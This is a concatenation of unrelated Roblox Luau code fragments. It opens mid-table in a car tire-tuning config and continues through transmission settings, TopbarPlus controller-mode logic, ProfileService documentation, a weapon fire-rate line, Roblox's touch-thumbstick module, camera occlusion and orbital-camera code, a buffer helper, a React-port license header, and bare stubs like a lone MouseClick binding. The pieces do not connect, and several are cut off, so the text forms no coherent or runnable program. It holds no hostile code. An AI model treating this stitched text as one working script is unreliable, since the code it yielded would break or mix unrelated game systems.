--Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _Slicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .6 , --Don't change this FTargetFriction = .93 , -- .88 to .93 FMinFriction = 0.35 , --Don't change this RWearSpeed = .6 , --Don't change this RTargetFriction = .93 , -- .88 to .93 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _SemiSlicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .5 , --Don't change this FTargetFriction = .78 , -- .73 to .78 FMinFriction = 0.35 , --Don't change this RWearSpeed = .5 , --Don't change this RTargetFriction = .78 , -- .73 to .78 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllTerrain = { TireWearOn = true , --Friction and Wear FWearSpeed = .3 , --Don't change this FTargetFriction = .5 , -- .48 to .53 FMinFriction = 0.35 , --Don't change this RWearSpeed = .3 , --Don't change this RTargetFriction = .5 , -- .48 to .53 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 10 , --Don't change this RFrictionWeight = 10 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _DragRadials = { TireWearOn = true , --Friction and Wear FWearSpeed = 30 , --Don't change this FTargetFriction = 1.2 , -- 1.18 to 1.23 FMinFriction = 0.35 , --Don't change this RWearSpeed = 30 , --Don't change this RTargetFriction = 1.2 , -- 1.18 to 1.23 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 1 , --Don't change this RFrictionWeight = 1 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 20 , --Don't change this } local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local cValues = script.Parent.Parent:WaitForChild("Values") local _WHEELTUNE = _AllSeason if _Select == "DragRadials" then _WHEELTUNE = _DragRadials elseif _Select == "Custom" then _WHEELTUNE = _Custom elseif _Select == "AllTerrain" then _WHEELTUNE = _AllTerrain elseif _Select == "Slicks" then _WHEELTUNE = _Slicks elseif _Select == "SemiSlicks" then _WHEELTUNE = _SemiSlicks else _WHEELTUNE = _AllSeason end car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = 1400 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 2600 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) Tune.ShiftTime = .3 -- The time delay in which you initiate a shift and the car changes gear --Gear Ratios Tune.FinalDrive = 3.45 -- [TRANSMISSION CALCULATIONS FOR NERDS] Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier) --[[ R ]] 3.28 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier --[[ N ]] 0 , --[[ 1 ]] 3.01 , --[[ 2 ]] 2.07 , --[[ 3 ]] 1.43 , --[[ 4 ]] 1 , --[[ 5 ]] 0.84 , --[[ 6 ]] 0.57 } Tune.FDMult = 2.15 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
-- BEHAVIOUR --Controller support
coroutine.wrap(function() -- Create PC 'Enter Controller Mode' Icon runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion local Icon = require(script.Parent) local controllerOptionIcon = Icon.new() :setProperty("internalIcon", true) :setName("_TopbarControllerOption") :setOrder(100) :setImage("rbxassetid://5278150942") :setRight() :setEnabled(false) :setTip("Controller mode") :setProperty("deselectWhenOtherIconSelected", false) -- This decides what controller widgets and displays to show based upon their connected inputs -- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle -- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode local function determineDisplay() local mouseEnabled = userInputService.MouseEnabled local controllerEnabled = userInputService.GamepadEnabled local iconIsSelected = controllerOptionIcon.isSelected if mouseEnabled and controllerEnabled then -- Show icon controllerOptionIcon:setEnabled(true) elseif mouseEnabled and not controllerEnabled then -- Hide icon, disableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(false) controllerOptionIcon:deselect() elseif not mouseEnabled and controllerEnabled then -- Hide icon, _enableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(true) end end userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay) userInputService.GamepadConnected:Connect(determineDisplay) userInputService.GamepadDisconnected:Connect(determineDisplay) determineDisplay() -- Enable/Disable Controller Mode when icon clicked local function iconClicked() local isSelected = controllerOptionIcon.isSelected local iconTip = (isSelected and "Normal mode") or "Controller mode" controllerOptionIcon:setTip(iconTip) IconController._enableControllerMode(isSelected) end controllerOptionIcon.selected:Connect(iconClicked) controllerOptionIcon.deselected:Connect(iconClicked) -- Hide/show topbar when indicator action selected in controller mode userInputService.InputBegan:Connect(function(input,gpe) if not IconController.controllerModeEnabled then return end if input.KeyCode == Enum.KeyCode.DPadDown then if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then IconController.setTopbarEnabled(true,false) end elseif input.KeyCode == Enum.KeyCode.ButtonB then IconController._previousSelectedObject = guiService.SelectedObject IconController._setControllerSelectedObject(nil) IconController.setTopbarEnabled(false,false) end input:Destroy() end) -- Setup overflow icons for alignment, detail in pairs(alignmentDetails) do if alignment ~= "mid" then local overflowName = "_overflowIcon-"..alignment local overflowIcon = Icon.new() :setProperty("internalIcon", true) :setImage(6069276526) :setName(overflowName) :setEnabled(false) detail.overflowIcon = overflowIcon overflowIcon.accountForWhenDisabled = true if alignment == "left" then overflowIcon:setOrder(math.huge) overflowIcon:setLeft() overflowIcon:set("dropdownAlignment", "right") elseif alignment == "right" then overflowIcon:setOrder(-math.huge) overflowIcon:setRight() overflowIcon:set("dropdownAlignment", "left") end overflowIcon.lockedSettings = { ["iconImage"] = true, ["order"] = true, ["alignment"] = true, } end end -- This checks if voice chat is enabled local success, enabled = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end) if success and enabled then isVoiceChatEnabled = true IconController.updateTopbar() end -- Credit if not isStudio then local ownerId = game.CreatorId local groupService = game:GetService("GroupService") if game.CreatorType == Enum.CreatorType.Group then local success, ownerInfo = pcall(function() return groupService:GetGroupInfoAsync(game.CreatorId).Owner end) if success then ownerId = ownerInfo.Id end end local version = require(script.Parent.VERSION) if localPlayer.UserId ~= ownerId then local marketplaceService = game:GetService("MarketplaceService") local success, placeInfo = pcall(function() return marketplaceService:GetProductInfo(game.PlaceId) end) if success and placeInfo then local gameName = placeInfo.Name print(("\n\n\n⚽ %s uses TopbarPlus %s\n🍍 TopbarPlus was developed by ForeverHD and the Nanoblox Team\n🚀 You can learn more and take a free copy by searching for 'TopbarPlus' on the DevForum\n\n"):format(gameName, version)) end end end end)()
-- local Madwork = _G.Madwork --[[ {Madwork} -[ProfileService]--------------------------------------- (STANDALONE VERSION) DataStore profiles - universal session-locked savable table API Official documentation: https://madstudioroblox.github.io/ProfileService/ DevForum discussion: https://devforum.roblox.com/t/ProfileService/667805 WARNINGS FOR "Profile.Data" VALUES: ! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error; ! Do not create mixed tables (some values indexed by number and others by string key), as only the data indexed by number will be replicated. ! Do not index tables by anything other than numbers and strings. ! Do not reference Roblox Instances ! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing ! Do not reference functions WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release() the old Profile object. Members: ProfileService.ServiceLocked [bool] ProfileService.IssueSignal [ScriptSignal](error_message, profile_store_name, profile_key) ProfileService.CorruptionSignal [ScriptSignal](profile_store_name, profile_key) ProfileService.CriticalStateSignal [ScriptSignal](is_critical_state) Functions: ProfileService.GetProfileStore(profile_store_name, profile_template) --> [ProfileStore] -- WARNING: Only one ProfileStore can exist for a given profile_store_name in a game session! * Parameter description for "ProfileService.GetProfileStore()": profile_store_name [string] -- DataStore name profile_template []: {} [table] -- Profiles will default to given table (hard-copy) when no data was saved previously Members [ProfileStore]: ProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore Methods [ProfileStore]: ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile / nil] not_released_handler(place_id, game_job_id) ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates)) -- Returns GlobalUpdates object if update was successful, otherwise returns nil ProfileStore:ViewProfileAsync(profile_key) --> [Profile / nil] -- Notice #1: Profile object methods will not be available; Notice #2: Profile object members will be nil (Profile.Data = nil, Profile.MetaData = nil) if the profile hasn't been created, with the exception of Profile.GlobalUpdates which could be empty or populated by ProfileStore:GlobalUpdateProfileAsync() ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the DataStore / mock DataStore with no way to recover it. * Parameter description for "ProfileStore:LoadProfileAsync()": profile_key [string] -- DataStore key not_released_handler = "ForceLoad" -- Force loads profile on first call OR not_released_handler = "Steal" -- Steals the profile ignoring it's session lock OR not_released_handler [function] (place_id, game_job_id) --> [string] ("Repeat" / "Cancel" / "ForceLoad") -- "not_released_handler" will be triggered in cases where the profile is not released by a session. This function may yield for as long as desirable and must return one of three string values: ["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again ["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil ["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards and release the profile for another session that has loaded the profile ["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying a session lock for this session. * Parameter description for "ProfileStore:GlobalUpdateProfileAsync()": profile_key [string] -- DataStore key update_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods (update_handler can't yield) Members [Profile]: Profile.Data [table] -- Writable table that gets saved automatically and once the profile is released Profile.MetaData [table] (Read-only) -- Information about this profile Profile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation Profile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded Profile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a game session is currently having this profile loaded; nil if released Profile.MetaData.MetaTags [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data Profile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore (You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after they pile up) Profile.GlobalUpdates [GlobalUpdates] Methods [Profile]: -- SAFE METHODS - Will not error after profile expires: Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to Profile:GetMetaTag(tag_name) --> value Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session force-loads this profile - use :ListenToRelease() to handle player leaving cleanup. Profile:Release() -- Call after the session has finished working with this profile e.g., after the player leaves (Profile object will become expired) (Does not yield) -- DANGEROUS METHODS - Will error if the profile is expired: -- MetaTags - Save and read values stored in Profile.MetaData for storing info about the profile itself like "Profile:SetMetaTag("FirstTimeLoad", true)" Profile:SetMetaTag(tag_name, value) Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield) Methods [GlobalUpdates]: -- ALWAYS PUBLIC: GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...} GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...} -- ONLY WHEN FROM "Profile.GlobalUpdates": GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data) -- WARNING: GlobalUpdates:LockUpdate() and GlobalUpdates:ClearLockedUpdate() will error after profile expires GlobalUpdates:LockActiveUpdate(update_id) GlobalUpdates:ClearLockedUpdate(update_id) -- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL GlobalUpdates:AddActiveUpdate(update_data) GlobalUpdates:ChangeActiveUpdate(update_id, update_data) GlobalUpdates:ClearActiveUpdate(update_id) --]]
local SETTINGS = { AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time) LoadProfileRepeatDelay = 15, -- Seconds between successive DataStore calls for the same key ForceLoadMaxSteps = 4, -- Steps taken before ForceLoad request steals the active session for a profile AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead -- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time. IssueCountForCriticalState = 5, -- Issues to collect to announce critical state IssueLast = 120, -- Seconds CriticalStateLast = 120, -- Seconds } local Madwork -- Standalone Madwork reference for portable version of ProfileService do -- ScriptConnection object: local ScriptConnection = { -- _listener = function -- [function] -- _listener_table = {} -- [table] -- Table from which the function entry will be removed } function ScriptConnection:Disconnect() local listener = self._listener if listener ~= nil then local listener_table = self._listener_table for i = 1, #listener_table do if listener == listener_table[i] then table.remove(listener_table, i) break end end self._listener = nil end end function ScriptConnection.NewArrayScriptConnection(listener_table, listener) --> [ScriptConnection] return { _listener = listener, _listener_table = listener_table, Disconnect = ScriptConnection.Disconnect } end -- ScriptSignal object: local ScriptSignal = { -- _listeners = {} } function ScriptSignal:Connect(listener) --> [ScriptConnection] if type(listener) ~= "function" then error("[ScriptSignal]: Only functions can be passed to ScriptSignal:Connect()") end table.insert(self._listeners, listener) return { _listener = listener, _listener_table = self._listeners, Disconnect = ScriptConnection.Disconnect } end function ScriptSignal:Fire(...) for _, listener in ipairs(self._listeners) do listener(...) end end function ScriptSignal.NewScriptSignal() --> [ScriptSignal] return { _listeners = {}, Connect = ScriptSignal.Connect, Fire = ScriptSignal.Fire } end local RunService = game:GetService("RunService") local Heartbeat = RunService.Heartbeat Madwork = { NewScriptSignal = ScriptSignal.NewScriptSignal, NewArrayScriptConnection = ScriptConnection.NewArrayScriptConnection, HeartbeatWait = function(wait_time) --> time_elapsed if wait_time == nil or wait_time == 0 then return Heartbeat:Wait() else local time_elapsed = 0 while time_elapsed <= wait_time do local time_waited = Heartbeat:Wait() time_elapsed = time_elapsed + time_waited end return time_elapsed end end, ConnectToOnClose = function(task, run_in_studio_mode) if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then game:BindToClose(task) end end, } end
-- Provide total count of all descendants
Count.Value = Support.GetDescendantCount(Tool) - AutoremovingItemsCount;
--// Handling Settings
Firerate = 60 / 700; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local TouchThumbstick = setmetatable({}, BaseCharacterController) TouchThumbstick.__index = TouchThumbstick function TouchThumbstick.new() local self = setmetatable(BaseCharacterController.new() :: any, TouchThumbstick) self.isFollowStick = false self.thumbstickFrame = nil self.moveTouchObject = nil self.onTouchMovedConn = nil self.onTouchEndedConn = nil self.screenPos = nil self.stickImage = nil self.thumbstickSize = nil -- Float return self end function TouchThumbstick:Enable(enable: boolean?, uiParentFrame) if enable == nil then return false end -- If nil, return false (invalid argument) enable = enable and true or false -- Force anything non-nil to boolean before comparison if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state self.moveVector = ZERO_VECTOR3 self.isJumping = false if enable then -- Enable if not self.thumbstickFrame then self:Create(uiParentFrame) end self.thumbstickFrame.Visible = true else -- Disable self.thumbstickFrame.Visible = false self:OnInputEnded() end self.enabled = enable end function TouchThumbstick:OnInputEnded() self.thumbstickFrame.Position = self.screenPos self.stickImage.Position = UDim2.new(0, self.thumbstickFrame.Size.X.Offset/2 - self.thumbstickSize/4, 0, self.thumbstickFrame.Size.Y.Offset/2 - self.thumbstickSize/4) self.moveVector = ZERO_VECTOR3 self.isJumping = false self.thumbstickFrame.Position = self.screenPos self.moveTouchObject = nil end function TouchThumbstick:Create(parentFrame) if self.thumbstickFrame then self.thumbstickFrame:Destroy() self.thumbstickFrame = nil if self.onTouchMovedConn then self.onTouchMovedConn:Disconnect() self.onTouchMovedConn = nil end if self.onTouchEndedConn then self.onTouchEndedConn:Disconnect() self.onTouchEndedConn = nil end end local minAxis = math.min(parentFrame.AbsoluteSize.X, parentFrame.AbsoluteSize.Y) local isSmallScreen = minAxis <= 500 self.thumbstickSize = isSmallScreen and 70 or 120 self.screenPos = isSmallScreen and UDim2.new(0, (self.thumbstickSize/2) - 10, 1, -self.thumbstickSize - 20) or UDim2.new(0, self.thumbstickSize/2, 1, -self.thumbstickSize * 1.75) self.thumbstickFrame = Instance.new("Frame") self.thumbstickFrame.Name = "ThumbstickFrame" self.thumbstickFrame.Active = true self.thumbstickFrame.Visible = false self.thumbstickFrame.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize) self.thumbstickFrame.Position = self.screenPos self.thumbstickFrame.BackgroundTransparency = 1 local outerImage = Instance.new("ImageLabel") outerImage.Name = "OuterImage" outerImage.Image = TOUCH_CONTROL_SHEET outerImage.ImageRectOffset = Vector2.new() outerImage.ImageRectSize = Vector2.new(220, 220) outerImage.BackgroundTransparency = 1 outerImage.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize) outerImage.Position = UDim2.new(0, 0, 0, 0) outerImage.Parent = self.thumbstickFrame self.stickImage = Instance.new("ImageLabel") self.stickImage.Name = "StickImage" self.stickImage.Image = TOUCH_CONTROL_SHEET self.stickImage.ImageRectOffset = Vector2.new(220, 0) self.stickImage.ImageRectSize = Vector2.new(111, 111) self.stickImage.BackgroundTransparency = 1 self.stickImage.Size = UDim2.new(0, self.thumbstickSize/2, 0, self.thumbstickSize/2) self.stickImage.Position = UDim2.new(0, self.thumbstickSize/2 - self.thumbstickSize/4, 0, self.thumbstickSize/2 - self.thumbstickSize/4) self.stickImage.ZIndex = 2 self.stickImage.Parent = self.thumbstickFrame local centerPosition = nil local deadZone = 0.05 local function DoMove(direction: Vector2) local currentMoveVector = direction / (self.thumbstickSize/2) -- Scaled Radial Dead Zone local inputAxisMagnitude = currentMoveVector.magnitude if inputAxisMagnitude < deadZone then currentMoveVector = Vector3.new() else if FFlagUserClampClassicThumbstick then currentMoveVector = currentMoveVector.unit * math.min(1, (inputAxisMagnitude - deadZone) / (1 - deadZone)) else currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone)) end -- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed -- must check for zero length vector is using unit currentMoveVector = Vector3.new(currentMoveVector.X, 0, currentMoveVector.Y) end self.moveVector = currentMoveVector end local function MoveStick(pos: Vector3) local relativePosition = Vector2.new(pos.X - centerPosition.X, pos.Y - centerPosition.Y) local length = relativePosition.magnitude local maxLength = self.thumbstickFrame.AbsoluteSize.X/2 if self.isFollowStick and length > maxLength then local offset = relativePosition.unit * maxLength self.thumbstickFrame.Position = UDim2.new( 0, pos.X - self.thumbstickFrame.AbsoluteSize.X/2 - offset.X, 0, pos.Y - self.thumbstickFrame.AbsoluteSize.Y/2 - offset.Y) else length = math.min(length, maxLength) relativePosition = relativePosition.unit * length end self.stickImage.Position = UDim2.new(0, relativePosition.X + self.stickImage.AbsoluteSize.X/2, 0, relativePosition.Y + self.stickImage.AbsoluteSize.Y/2) end -- input connections self.thumbstickFrame.InputBegan:Connect(function(inputObject: InputObject) --A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event --if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin) if self.moveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch or inputObject.UserInputState ~= Enum.UserInputState.Begin then return end self.moveTouchObject = inputObject self.thumbstickFrame.Position = UDim2.new(0, inputObject.Position.X - self.thumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.Y - self.thumbstickFrame.Size.Y.Offset/2) centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2, self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2) local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y) end) self.onTouchMovedConn = UserInputService.TouchMoved:Connect(function(inputObject: InputObject, isProcessed: boolean) if inputObject == self.moveTouchObject then centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2, self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2) local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y) DoMove(direction) MoveStick(inputObject.Position) end end) self.onTouchEndedConn = UserInputService.TouchEnded:Connect(function(inputObject, isProcessed) if inputObject == self.moveTouchObject then self:OnInputEnded() end end) GuiService.MenuOpened:Connect(function() if self.moveTouchObject then self:OnInputEnded() end end) self.thumbstickFrame.Parent = parentFrame end return TouchThumbstick
-------------------------------------------------------------------------------------------- -- Popper uses the level geometry find an upper bound on subject-to-camera distance. -- -- Hard limits are applied immediately and unconditionally. They're generally caused -- when level geometry intersects with the near plane (with exceptions, see below). -- -- Soft limits are only applied under certain conditions. -- They're caused when level geometry occludes the subject without actually intersecting -- with the near plane at the target distance. -- -- Soft limits can be promoted to hard limits and hard limits can be demoted to soft limits. -- We usually don't want the latter to happen. -- -- A soft limit will be promoted to a hard limit if an obstruction -- lies between the current and target camera positions. --------------------------------------------------------------------------------------------
local subjectRoot local subjectPart camera:GetPropertyChangedSignal('CameraSubject'):Connect(function() local subject = camera.CameraSubject if subject:IsA('Humanoid') then subjectPart = subject.RootPart elseif subject:IsA('BasePart') then subjectPart = subject else subjectPart = nil end end) local function canOcclude(part) -- Occluders must be: -- 1. Opaque -- 2. Interactable -- 3. Not in the same assembly as the subject if FFlagUserPoppercamLooseOpacityThreshold then return part.Transparency < 0.25 and part.CanCollide and subjectRoot ~= (part:GetRootPart() or part) and not part:IsA('TrussPart') else return part.Transparency < 0.95 and part.CanCollide and subjectRoot ~= (part:GetRootPart() or part) end end
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
function OrbitalCamera:LoadNumberValueParameters() -- These initial values do not require change listeners since they are read only once self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil) self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil) -- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue) self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues) self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues) self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues) self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues) self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues) self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues) self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues) -- Internal values set (in radians, from degrees), plus sanitization self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"]) self.curElevationRad = math.rad(self.externalProperties["InitialElevation"]) self.curDistance = self.externalProperties["InitialDistance"] self:SetAndBoundsCheckAzimuthValues() self:SetAndBoundsCheckElevationValues() self:SetAndBoundsCheckDistanceValues() end function OrbitalCamera:GetModuleName() return "OrbitalCamera" end function OrbitalCamera:SetInitialOrientation(humanoid) if not humanoid or not humanoid.RootPart then warn("OrbitalCamera could not set initial orientation due to missing humanoid") return end local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector()) local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y) if not Util.IsFinite(horizontalShift) then horizontalShift = 0 end if not Util.IsFinite(vertShift) then vertShift = 0 end self.rotateInput = Vector2.new(horizontalShift, vertShift) end
--Creates a buffer class.
local function CreateBuffer(Folder) local Buffer = {} --Removes an item from the buffer. function Buffer:PopItem() local NextItem = Folder:GetChildren()[1] if NextItem then --Remove the position lock. local BufferPositionLock = NextItem:FindFirstChild("BufferPositionLock",true) if BufferPositionLock then BufferPositionLock:Destroy() end --Reparent it to Workspace. NextItem.Parent = game.Workspace --Return the item. return NextItem end end --Return the buffer class. return Buffer end
-- INSTANCES --
local AlignOrientation = script.Parent.AlignOrientation
-- upstream: https://github.com/facebook/react/blob/c5d2fc7127654e43de59fff865b74765a103c4a5/packages/react-reconciler/src/ReactFiberHostConfigWithNoHydration.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
local invariant = require(script.Parent.Parent.invariant)
-- Determine whether we're in tool or plugin mode
local ToolMode = (Tool.Parent:IsA 'Plugin') and 'Plugin' or 'Tool'
-- Binds --
cDetector.MouseClick:connect(onClicked)
-- Functions
